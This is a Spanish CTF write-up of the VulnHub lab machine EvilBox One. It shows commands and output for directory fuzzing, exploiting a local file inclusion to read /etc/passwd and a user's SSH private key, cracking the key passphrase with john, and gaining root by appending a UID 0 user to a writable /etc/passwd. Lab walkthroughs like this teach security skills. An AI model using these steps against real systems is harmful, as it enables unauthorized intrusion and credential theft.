cd ~/blog

~/writeups/vulnhub/16-evilbox.md

16 - EvilBox One

medium Linux vulnhub 11-10-2023
Local File Inclusion (LFI)SSH key passphrase cracking (john)Writable /etc/passwd Privesc
www.vulnhub.com/entry/evilbox-one,736/

~1 min de lectura


Enumeramos puertos (22, 80 — Apache por defecto). Con gobuster encontramos /secret/ y dentro un evil.php:

 gobuster dir -r --url http://192.168.1.52 --wordlist .../directory-list-2.3-big.txt -x php,html,txt
/robots.txt           (Status: 200)
/secret               (Status: 200)

 curl http://192.168.1.52/robots.txt     # → "Hello H4x0r" (pista, sin más)

 gobuster dir -r --url http://192.168.1.52/secret/ --wordlist .../directory-list-2.3-small.txt -x php,html,txt
/evil.php             (Status: 200) [Size: 0]

Fuzzeamos el parámetro de evil.php y damos con command, vulnerable a LFI:

 ffuf -r -c -w common.txt -u 'http://192.168.1.52/secret/evil.php?FUZZ=/etc/passwd' -fs 0
command                 [Status: 200, ...]

 curl 'http://192.168.1.52/secret/evil.php?command=/etc/passwd'
...
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash

Leemos la id_rsa de mowree vía LFI y crackeamos su passphrase con john:

http://192.168.1.52/secret/evil.php?command=/home/mowree/.ssh/id_rsa

 ssh2john mowree.rsa > john.rsa
 john john.rsa -w=big.txt
unicorn          (mowree.rsa)

 ssh mowree@192.168.1.52 -i mowree.rsa     # passphrase: unicorn

Obtenemos la primera flag. sudo -l no funciona y find \-perm -4000 2>/dev/null no devuelve binarios útiles, pero linpeas revela que /etc/passwd es escribible (Writable Critical Files Privesc):

mowree@evilbox:~$ sudo -l                        # sin permisos
mowree@evilbox:~$ find \-perm -4000 2>/dev/null  # nada interesante
mowree@evilbox:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd

Generamos un hash y añadimos un usuario UID 0:

mowree@evilbox:~$ openssl passwd uno
$1$5Me3ggM1$BBVSfqkLyeXSHDVaqR6gG/
mowree@evilbox:~$ echo "root2:$1$5Me3ggM1$BBVSfqkLyeXSHDVaqR6gG/:0:0:root:/root:/bin/bash" >> /etc/passwd
mowree@evilbox:~$ su root2
Contraseña: uno
root@evilbox:~#

Obtenemos la flag de root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados